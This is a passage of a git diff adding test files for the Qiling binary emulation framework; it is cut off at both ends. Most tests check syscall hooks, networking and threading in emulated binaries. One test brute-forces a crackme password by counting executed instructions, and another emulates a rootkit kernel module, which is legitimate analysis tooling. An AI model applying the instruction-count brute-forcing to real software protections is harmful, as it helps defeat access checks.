return ''.join(random.choice(chars) for x in range(size)) + + ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_hello", random_generator(random.randint(1,99))], "../examples/rootfs/mips32el_linux") + ql.run() + del ql + + + def test_elf_linux_mips32el_static(self): + def random_generator(size=6, chars=string.ascii_uppercase + string.digits): + return ''.join(random.choice(chars) for x in range(size)) + + ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_hello_static", random_generator(random.randint(1,99))], "../examples/rootfs/mips32el_linux") + ql.run() + del ql + + + def test_elf_linux_mips32el_posix_syscall(self): + def test_syscall_read(ql, read_fd, read_buf, read_count, *args): + target = False + pathname = ql.os.fd[read_fd].name.split('/')[-1] + + reg = ql.arch.regs.read("v0") + print("reg : 0x%x" % reg) + ql.arch.regs.v0 = reg + + if pathname == "test_syscall_read.txt": + print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) + target = True + + regreturn = syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) + + if target: + real_path = ql.os.fd[read_fd].name + with open(real_path) as fd: + assert fd.read() == ql.mem.read(read_buf, read_count).decode() + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + + def test_syscall_write(ql, write_fd, write_buf, write_count, *args): + target = False + pathname = ql.os.fd[write_fd].name.split('/')[-1] + + if pathname == "test_syscall_write.txt": + print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) + target = True + + regreturn = syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) + + if target: + real_path = ql.os.fd[write_fd].name + with open(real_path) as fd: + assert fd.read() == 'Hello testing\x00' + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + def test_syscall_open(ql, open_pathname, open_flags, open_mode, *args): + target = False + pathname = ql.os.utils.read_cstring(open_pathname) + + if pathname == "test_syscall_open.txt": + print("test => open(%s, 0x%x, 0%o)" % (pathname, open_flags, open_mode)) + target = True + + regreturn = syscall.ql_syscall_open(ql, open_pathname, open_flags, open_mode, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.path.isfile(real_path) == True + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + def test_syscall_unlink(ql, unlink_pathname, *args): + target = False + pathname = ql.os.utils.read_cstring(unlink_pathname) + + if pathname == "test_syscall_unlink.txt": + print("test => unlink(%s)" % (pathname)) + target = True + + regreturn = syscall.ql_syscall_unlink(ql, unlink_pathname, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.path.isfile(real_path) == False + + return regreturn + + def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): + target = False + pathname = ql.os.utils.read_cstring(trunc_pathname) + + if pathname == "test_syscall_truncate.txt": + print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) + target = True + + regreturn = syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.stat(real_path).st_size == 0 + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): + target = False + pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] + + if pathname == "test_syscall_ftruncate.txt": + print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) + target = True + + regreturn = syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.stat(real_path).st_size == 0x10 + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_posix_syscall"], "../examples/rootfs/mips32el_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall(4003, test_syscall_read) + ql.os.set_syscall(4004, test_syscall_write) + ql.os.set_syscall(4005, test_syscall_open) + ql.os.set_syscall(4010, test_syscall_unlink) + ql.os.set_syscall(4092, test_syscall_truncate) + ql.os.set_syscall(4093, test_syscall_ftruncate) + ql.run() + del ql + + + def test_elf_linux_powerpc(self): + ql = Qiling(["../examples/rootfs/powerpc_linux/bin/powerpc_hello"], "../examples/rootfs/powerpc_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + + def test_elf_linux_arm_custom_syscall(self): + def my_syscall_write(ql, write_fd, write_buf, write_count, *args, **kw): + regreturn = 0 + buf = None + mapaddr = ql.mem.map_anywhere(0x100000) + ql.log.info("0x%x" % mapaddr) + + reg = ql.arch.regs.read("r0") + print("reg : 0x%x" % reg) + ql.arch.regs.r0 = reg + + + try: + buf = ql.mem.read(write_buf, write_count) + ql.log.info("\n+++++++++\nmy write(%d,%x,%i) = %d\n+++++++++" % (write_fd, write_buf, write_count, regreturn)) + ql.os.fd[write_fd].write(buf) + regreturn = write_count + except: + regreturn = -1 + ql.log.info("\n+++++++++\nmy write(%d,%x,%i) = %d\n+++++++++" % (write_fd, write_buf, write_count, regreturn)) + if ql.verbose >= QL_VERBOSE.DEBUG: + raise + self.set_syscall = reg + return regreturn + + ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello"], "../examples/rootfs/arm_linux") + ql.os.set_syscall(0x04, my_syscall_write) + ql.run() + + self.assertEqual(1, self.set_syscall) + + del self.set_syscall + del ql + + + def test_elf_linux_x86_crackme(self): + def instruction_count(ql, address, size, user_data): + user_data[0] += 1 + + def my__llseek(ql, *args, **kw): + pass + + def run_one_round(payload): + ql = Qiling(["../examples/rootfs/x86_linux/bin/crackme_linux"], "../examples/rootfs/x86_linux", console=False) + + ins_count = [0] + ql.hook_code(instruction_count, ins_count) + ql.os.set_syscall("_llseek", my__llseek) + + ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) + ql.os.stdin.write(payload) + + ql.run() + del ql + + return ins_count[0] + + + def solve(): + idx_list = [1, 4, 2, 0, 3] + + flag = b'\x00\x00\x00\x00\x00\n' + + old_count = run_one_round(flag) + for idx in idx_list: + for i in b'L1NUX\\n': + flag = flag[ : idx] + chr(i).encode() + flag[idx + 1 : ] + tmp = run_one_round(flag) + if tmp > old_count: + old_count = tmp + break + # if idx == 2: + # break + + print(flag) + + print("\n\n Linux Simple Crackme Brute Force, This Will Take Some Time ...") + solve() + + def test_x86_fake_urandom_multiple_times(self): + fake_id = 0 + ids = [] + class Fake_urandom(QlFsMappedObject): + + def __init__(self): + nonlocal fake_id + self.id = fake_id + fake_id += 1 + ids.append(self.id) + ql.log.info(f"Creating Fake_urandom with id {self.id}") + + def read(self, size): + return b'\x01' + + def fstat(self): + return -1 + + def close(self): + return 0 + + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_fetch_urandom_multiple_times"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) + # Note we pass in a class here. + ql.add_fs_mapper("/dev/urandom", Fake_urandom) + + ql.exit_code = 0 + ql.exit_group_code = 0 + + def check_exit_group_code(ql, exit_code, *args, **kw): + ql.exit_group_code = exit_code + + def check_exit_code(ql, exit_code, *args, **kw): + ql.exit_code = exit_code + + ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) + ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) + + ql.run() + self.assertEqual(0, ql.exit_code) + self.assertEqual(0, ql.exit_group_code) + last = -1 + for i in ids: + self.assertEqual(last + 1, i) + last = i + del ql + + + def test_x86_fake_urandom(self): + class Fake_urandom(QlFsMappedObject): + + def read(self, size): + return b"\x01" + + def fstat(self): + return -1 + + def close(self): + return 0 + + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_fetch_urandom"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper("/dev/urandom", Fake_urandom()) + + ql.exit_code = 0 + ql.exit_group_code = 0 + + def check_exit_group_code(ql, exit_code, *args, **kw): + ql.exit_group_code = exit_code + + def check_exit_code(ql, exit_code, *args, **kw): + ql.exit_code = exit_code + + ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) + ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) + + ql.run() + self.assertEqual(0, ql.exit_code) + self.assertEqual(0, ql.exit_group_code) + del ql + + + def test_x8664_map_urandom(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_fetch_urandom"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper("/dev/urandom","/dev/urandom") + + ql.exit_code = 0 + ql.exit_group_code = 0 + + def check_exit_group_code(ql, exit_code, *args, **kw): + ql.exit_group_code = exit_code + + def check_exit_code(ql, exit_code, *args, **kw): + ql.exit_code = exit_code + + ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) + ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) + + ql.run() + + self.assertEqual(0, ql.exit_code) + self.assertEqual(0, ql.exit_group_code) + + del ql + + + def test_x8664_symlink(self): + ql = Qiling(["../examples/rootfs/x8664_linux_symlink/bin/x8664_hello"], "../examples/rootfs/x8664_linux_symlink", verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + def test_x8664_absolute_path(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/absolutepath"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + + ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) + ql.run() + + self.assertEqual(ql.os.stdout.read(), b'test_complete\n\ntest_complete\n\n') + + del ql + + def test_x8664_getcwd(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/testcwd"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + + ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) + ql.run() + + self.assertEqual(ql.os.stdout.read(), b'/\n/lib\n/bin\n/\n') + + del ql + + def test_elf_linux_x86_return_from_main_stackpointer(self): + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_return_main"], "../examples/rootfs/x86_linux", stop=QL_STOP.STACK_POINTER) + ql.run() + del ql + + def test_elf_linux_x86_return_from_main_exit_trap(self): + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_return_main"], "../examples/rootfs/x86_linux", stop=QL_STOP.EXIT_TRAP) + ql.run() + del ql + + def test_elf_linux_x8664_return_from_main_stackpointer(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_return_main"], "../examples/rootfs/x8664_linux", stop=QL_STOP.STACK_POINTER) + ql.run() + del ql + + def test_elf_linux_x8664_return_from_main_exit_trap(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_return_main"], "../examples/rootfs/x8664_linux", stop=QL_STOP.EXIT_TRAP) + ql.run() + del ql + + def test_arm_stat64(self): + ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_stat64", "/bin/arm_stat64"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + def test_elf_linux_x8664_getdents(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_getdents"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + + ql.os.stdout = io.BytesIO() + ql.run() + + ql.os.stdout.seek(0) + self.assertTrue("bin\n" in ql.os.stdout.read().decode("utf-8")) + + del ql + + def test_elf_linux_armeb(self): + ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + def test_elf_linux_armeb_static(self): + ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello_static"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEFAULT) + ql.run() + del ql + + # TODO: Disable for now + # def test_armoabi_eb_linux_syscall_elf_static(self): + # # src: https://github.com/qilingframework/qiling/blob/1f1e9bc756e59a0bfc112d32735f8882b1afc165/examples/src/linux/posix_syscall.c + # path = ["../examples/rootfs/armeb_linux/bin/posix_syscall_msb.armoabi"] + # rootfs = "../examples/rootfs/armeb_linux" + # ql = Qiling(path, rootfs, verbose = QL_VERBOSE.DEBUG) + # ql.run() + + def test_armoabi_le_linux_syscall_elf_static(self): + # src: https://github.com/qilingframework/qiling/blob/1f1e9bc756e59a0bfc112d32735f8882b1afc165/examples/src/linux/posix_syscall.c + path = ["../examples/rootfs/arm_linux/bin/posix_syscall_lsb.armoabi"] + rootfs = "../examples/rootfs/arm_linux" + ql = Qiling(path, rootfs, verbose = QL_VERBOSE.DEBUG) + ql.run() + del ql + + def test_elf_linux_x86_getdents64(self): + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_getdents64"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) + + ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) + ql.run() + + self.assertTrue("bin\n" in ql.os.stdout.read().decode("utf-8")) + + del ql + + def test_memory_search(self): + ql = Qiling(code = b"\xCC", archtype = "x8664", ostype = "linux", verbose=QL_VERBOSE.DEBUG) + + ql.mem.map(0x1000, 0x1000) + ql.mem.map(0x2000, 0x1000) + ql.mem.map(0x3000, 0x1000) + + ql.mem.write(0x1000, b"\x47\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x0f\x01\x1e\x0d\x53\x11\x07\x1d\x53\x1d\x18\x4f\x53\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x04\x0d\x1c\x53\x11\x07\x1d\x53\x0c\x07\x1f\x06\x45") + ql.mem.write(0x2000, b"\x47\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x1a\x1d\x06\x53\x09\x1a\x07\x1d\x06\x0c\x53\x09\x06\x0c\x53\x0c\x0d\x1b\x0d\x1a\x1c\x53\x11\x07\x1d\x4f\x53\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x05\x09\x03\x0d\x53\x11\x07\x1d\x53\x0b\x1a\x11\x45") + ql.mem.write(0x3000, b"\x47\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x1b\x09\x11\x53\x0f\x07\x07\x0c\x0a\x11\x0d\x4f\x53\x06\x0d\x1e\x0d\x1a\x53\x0f\x07\x06\x06\x09\x53\x1c\x0d\x04\x04\x53\x09\x53\x04\x01\x0d\x53\x09\x06\x0c\x53\x00\x1d\x1a\x1c\x53\x11\x07\x1d\x45") + ql.mem.write(0x1FFB, b"\x1f\x00\x07\x53\x03\x06\x07\x1f\x1b") + + # Needle not in haystack + self.assertEqual([], ql.mem.search(b"\x3a\x01\x0b\x03\x53\x29\x1b\x1c\x04\x0d\x11")) + + # Needle appears several times in haystack + self.assertEqual([0x1000 + 24, 0x2000 + 38, 0x3000 + 24], ql.mem.search(b"\x4f\x53\x06\x0d\x1e\x0d\x1a")) + + # Needle inside haystack + self.assertEqual([0x1000 + 13], ql.mem.search(b"\x0f\x01\x1e\x0d\x53\x11\x07\x1d\x53\x1d\x18", begin=0x1000 + 10, end=0x1000 + 30)) + + # Needle before haystack + self.assertEqual([], ql.mem.search(b"\x04\x0d\x1c\x53\x11\x07\x1d\x53\x0c\x07\x1f\x06", begin=0x1337)) + + # Needle after haystack + self.assertEqual([], ql.mem.search(b"\x1b\x09\x11\x53\x0f\x07\x07\x0c\x0a\x11\x0d", end=0x3000 + 13)) + + # Needle exactly inside haystack + self.assertEqual([0x2000 + 13], ql.mem.search(b"\x1a\x1d\x06\x53\x09\x1a\x07\x1d\x06\x0c", begin=0x2000 + 13, end=0x2000 + 23)) + + # Needle 'tears' two mapped regions + self.assertEqual([], ql.mem.search(b"\x1f\x00\x07\x53\x03\x06\x07\x1f\x1b", begin=0x1F00, end=0x200F)) + + # Needle is a regex + self.assertEqual([0x1000 + 11, 0x2000 + 11, 0x3000 + 43], ql.mem.search(re.compile(b"\x09\x53(\x0f|\x1a|\x04)[^\x0d]"))) + + del ql + + def test_elf_linux_x8664_path_traversion(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/path_traverse_static"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + + ql.os.stdout = pipe.SimpleOutStream(sys.stdout.fileno()) + ql.run() + + self.assertTrue("root\n" not in ql.os.stdout.read().decode("utf-8")) + + del ql + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_elf_ko.py.orig b/tests/test_elf_ko.py.orig new file mode 100644 index 000000000..9e5153736 --- /dev/null +++ b/tests/test_elf_ko.py.orig @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import os, sys, unittest + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.os.const import STRING +from qiling.os.linux.fncc import linux_kernel_api + +IS_FAST_TEST = 'QL_FAST_TEST' in os.environ + +class ELF_KO_Test(unittest.TestCase): + + @unittest.skipIf(IS_FAST_TEST, 'fast test') + def test_demigod_m0hamed_x86(self): + checklist = [] + + @linux_kernel_api(params={ + "format": STRING + }) + def __my_printk(ql: Qiling, address: int, params): + ql.log.info(f'my printk: {params=}') + + checklist.append(params['format']) + + return 0 + + ql = Qiling(["../examples/rootfs/x86_linux/kernel/m0hamed_rootkit.ko"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api("printk", __my_printk) + + ba = ql.loader.load_address + ql.run(ba + 0x01e0, ba + 0x01fa) + + self.assertEqual("DONT YOU EVER TRY TO READ THIS FILE OR I AM GOING TO DESTROY YOUR MOST SECRET DREAMS", checklist.pop(0)) + self.assertEqual(len(checklist), 0) + + def test_demigod_hello_x8664(self): + checklist = [] + + def __onenter_printk(ql: Qiling, address: int, params): + ql.log.info(f'about to enter printk: {params=}') + + checklist.append(params['format']) + + ql = Qiling(["../examples/rootfs/x8664_linux/kernel/hello.ko"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api("printk", __onenter_printk, QL_INTERCEPT.ENTER) + + ba = ql.loader.load_address + ql.run(ba + 0x64, ba + 0x7e) # run lkm_example_init + ql.run(ba + 0x7f, ba + 0x90) # run lkm_example_exit + + self.assertIn('Hello', checklist.pop(0)) + self.assertIn('Goodbye', checklist.pop(0)) + self.assertEqual(len(checklist), 0) + + def test_demigod_hello_mips32(self): + checklist = [] + + def __onexit_printk(ql: Qiling, address: int, params, retval: int): + ql.log.info(f'done with printk: {params=}') + + checklist.append(params['format']) + + ql = Qiling(["../examples/rootfs/mips32_linux/kernel/hello.ko"], "../examples/rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api("printk", __onexit_printk, QL_INTERCEPT.EXIT) + + ba = ql.loader.load_address + ql.run(ba + 0x60, ba + 0x84) # run hello + ql.run(ba + 0x88, ba + 0x98) # run goodbye + + self.assertIn('Hello', checklist.pop(0)) + self.assertEqual(len(checklist), 0) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_elf_multithread.py.orig b/tests/test_elf_multithread.py.orig new file mode 100644 index 000000000..2121deb46 --- /dev/null +++ b/tests/test_elf_multithread.py.orig @@ -0,0 +1,405 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import http.client, platform, socket, sys, os, threading, time, unittest + +sys.path.append("..") +from qiling import Qiling +from qiling.const import * +from qiling.exception import * +from qiling.os.filestruct import ql_file + +class ELFTest(unittest.TestCase): + + @unittest.skipIf(platform.system() == "Darwin" and platform.machine() == "arm64", 'darwin host') + def test_elf_linux_execve_x8664(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/posix_syscall_execve"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() + + for key, value in ql.loader.env.items(): + QL_TEST=value + + self.assertEqual("TEST_QUERY", QL_TEST) + self.assertEqual("child", ql.loader.argv[0]) + + del QL_TEST + del ql + + def test_elf_linux_cloexec_x8664(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_cloexec_test"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG, multithread=True) + + filename = 'output.txt' + err = ql_file.open(filename, os.O_RDWR | os.O_CREAT, 0o777) + + ql.os.stderr = err + ql.run() + err.close() + + with open(filename, 'rb') as f: + content = f.read() + + # cleanup + os.remove(filename) + + self.assertIn(b'fail', content) + + del ql + + def test_multithread_elf_linux_x86(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + nonlocal buf_out + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + buf_out = buf + except: + pass + buf_out = None + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_multithreading"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertTrue("thread 2 ret val is" in buf_out) + + del ql + + def test_multithread_elf_linux_arm64(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + nonlocal buf_out + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + buf_out = buf + except: + pass + buf_out = None + ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_multithreading"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertTrue("thread 2 ret val is" in buf_out) + + del ql + + def test_multithread_elf_linux_x8664(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + nonlocal buf_out + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + buf_out = buf + except: + pass + buf_out = None + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_multithreading"], "../examples/rootfs/x8664_linux", multithread=True) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertTrue("thread 2 ret val is" in buf_out) + + del ql + + def test_multithread_elf_linux_mips32eb(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + nonlocal buf_out + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + buf_out = buf + except: + pass + buf_out = None + ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_multithreading"], "../examples/rootfs/mips32_linux", verbose=QL_VERBOSE.DEBUG, multithread=True) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertTrue("thread 2 ret val is" in buf_out) + + del ql + + def test_multithread_elf_linux_mips32el(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + nonlocal buf_out + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + buf_out = buf + except: + pass + buf_out = None + ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_multithreading"], "../examples/rootfs/mips32el_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertTrue("thread 2 ret val is" in buf_out) + + del ql + + def test_multithread_elf_linux_arm(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + nonlocal buf_out + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + buf_out = buf + except: + pass + buf_out = None + ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_multithreading"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertTrue("thread 2 ret val is" in buf_out) + + del ql + + # unicorn.unicorn.UcError: Invalid instruction (UC_ERR_INSN_INVALID) + # def test_multithread_elf_linux_armeb(self): + # def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + # nonlocal buf_out + # try: + # buf = ql.mem.read(write_buf, write_count) + # buf = buf.decode() + # buf_out = buf + # except: + # pass + # buf_out = None + # ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_multithreading"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + # ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + # ql.run() + + # self.assertTrue("thread 2 ret val is" in buf_out) + + # del ql + + def test_tcp_elf_linux_x86(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server send()"): + ql.buf_out = buf + except: + pass + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_tcp_test", "20001"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + + del ql + + def test_tcp_elf_linux_x8664(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server send()"): + ql.buf_out = buf + except: + pass + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_tcp_test", "20002"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + + del ql + + def test_tcp_elf_linux_arm(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server write()"): + ql.buf_out = buf + except: + pass + ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_tcp_test", "20003"], "../examples/rootfs/arm_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server write() 14 return 14.\n", ql.buf_out) + + del ql + + + def test_tcp_elf_linux_arm64(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server send()"): + ql.buf_out = buf + except: + pass + ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_tcp_test", "20004"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + + del ql + + + def test_tcp_elf_linux_armeb(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server send()"): + ql.buf_out = buf + except: + pass + ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_tcp_test", "20003"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server send() 14 return 14.\n", ql.buf_out) + + del ql + + + def test_tcp_elf_linux_mips32eb(self): + ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_tcp_test", "20005"], "../examples/rootfs/mips32_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + + def test_tcp_elf_linux_mips32el(self): + ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_tcp_test", "20005"], "../examples/rootfs/mips32el_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + + def test_udp_elf_linux_x86(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server sendto()"): + ql.buf_out = buf + except: + pass + + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_udp_test", "20007"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + + del ql + + + def test_udp_elf_linux_x8664(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server sendto()"): + ql.buf_out = buf + except: + pass + + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_udp_test", "20008"], "../examples/rootfs/x8664_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + + del ql + + def test_udp_elf_linux_arm64(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server sendto()"): + ql.buf_out = buf + except: + pass + + ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_udp_test", "20009"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual("server sendto() 14 return 14.\n", ql.buf_out) + + del ql + + def test_udp_elf_linux_armeb(self): + def check_write(ql, write_fd, write_buf, write_count, *args, **kw): + try: + buf = ql.mem.read(write_buf, write_count) + buf = buf.decode() + if buf.startswith("server sendto()"): + ql.buf_out = buf + except: + pass + + ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_udp_test", "20010"], "../examples/rootfs/armeb_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) + ql.run() + + 